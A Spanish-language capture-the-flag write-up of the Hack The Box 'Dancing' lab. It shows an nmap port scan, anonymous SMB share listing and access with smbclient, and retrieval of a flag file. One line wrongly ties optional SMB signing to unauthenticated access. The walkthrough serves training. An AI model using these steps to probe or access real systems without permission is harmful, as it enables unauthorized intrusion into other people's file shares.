CorvusDDosKRom

Hack The Box: Dancing

Very Easy

Dancing es una máquina del Starting Point de Hack The Box. Involucra la enumeración de recursos compartidos SMB sin credenciales para obtener la flag directamente.

Windows
Hack The Box
SMB Anonymous Login Misconfiguration

Dancing

Plataforma: Hack The Box

Dificultad: Very Easy

🔗 Link de la máquina: https://app.hackthebox.com/machines/Dancing

Dancing

Reconocimiento

Realizamos un escaneo de puertos con Nmap para identificar los servicios activos en la máquina objetivo.

sudo nmap -p- --open -sS -sCV --min-rate 5000 -Pn -n -oN dancing.txt 10.129.19.175
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-16 23:45 -0300
Nmap scan report for 10.129.19.175
Host is up (0.24s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
445/tcp   open  microsoft-ds?
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2026-02-17T02:45:00
|_  start_date: N/A

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.21 seconds

Detalles del comando:

  • -p-: Escaneo de todos los puertos.
  • --open: Muestra solo puertos abiertos.
  • -sS: Escaneo SYN para determinar el estado de los puertos.
  • -sCV: Usa scripts por defecto y detectar versiones de servicios.
  • --min-rate 5000: Establece un ritmo mínimo de escaneo.
  • -n: Desactiva la resolución DNS.
  • -Pn: Omite la detección de hosts activos.
  • -oN dancing.txt: Guarda los resultados en el archivo “dancing.txt”.

Puertos descubiertos:

  • 135/tcp - MSRPC
  • 445/tcp - SMB
  • 5985/tcp - WinRM
  • 49664-49669/tcp - MSRPC

El script smb2-security-mode indica que la firma SMB está habilitada pero no es obligatoria, lo que permite conexiones sin autenticación.


Enumeración SMB

Usamos smbclient para listar los recursos compartidos disponibles sin credenciales (flag -N):

smbclient -L //10.129.19.175 -N
        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        WorkShares      Disk

Se identifican 4 shares:

ShareTipoDescripción
ADMIN$DiskAdministración remota — requiere credenciales
C$DiskShare por defecto del disco — requiere credenciales
IPC$IPCComunicación entre procesos
WorkSharesDiskSin comentario — accesible sin credenciales

SMB


Acceso y Flag

Nos conectamos al share WorkShares sin autenticación:

smbclient //10.129.19.175/WorkShares -N
smb: \> ls
  .                                   D        0  Mon Mar 29 04:22:01 2021
  ..                                  D        0  Mon Mar 29 04:22:01 2021
  Amy.J                               D        0  Mon Mar 29 05:08:24 2021
  James.P                             D        0  Thu Jun  3 04:38:03 2021

Exploramos los directorios encontrados. En James.P encontramos la flag:

smb: \> cd James.P
smb: \James.P\> ls
  .                                   D        0  Thu Jun  3 04:38:03 2021
  ..                                  D        0  Thu Jun  3 04:38:03 2021
  flag.txt                            A       32  Mon Mar 29 05:26:57 2021

smb: \James.P\> get flag.txt
smb: \James.P\> exit
cat flag.txt

Flag

Máquina Dancing de Hack The Box Starting Point completada exitosamente.